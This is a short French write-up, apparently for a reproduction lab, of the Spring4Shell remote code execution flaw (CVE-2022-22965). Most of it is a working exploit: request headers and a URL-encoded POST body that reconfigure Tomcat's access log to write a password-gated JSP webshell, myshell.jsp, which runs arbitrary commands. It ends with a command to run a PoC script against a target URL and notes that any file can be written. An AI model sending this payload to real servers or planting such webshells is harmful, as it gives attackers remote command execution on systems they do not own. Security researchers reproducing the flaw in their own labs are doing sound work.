
Environnement RCE Spring pour CVE-2022-22965
Informations sur l'environnement
Configuration des en-têtes
"suffix": "%>//",
"c1": "Runtime",
"c2": "<%",
"DNT": "1",
"Content-Type": "application/x-www-form-urlencoded",
Données du corps de la requête
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=myshell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
En envoyant le contenu ci-dessus, un webshell sera écrit avec succès sur le système cible, généralement dans le chemin webapps\ROOT\myshell.jsp.
Si le chemin est contrôlable, en modifiant le payload, vous pouvez écrire n'importe quel fichier dont vous avez besoin. Cela se fait principalement en modifiant le format de journalisation de Tomcat pour écrire un shell sous forme de journal.
Pour une reproduction facile, utilisez directement le PoC ci-dessous.
python3 poc.py http://test.com/hello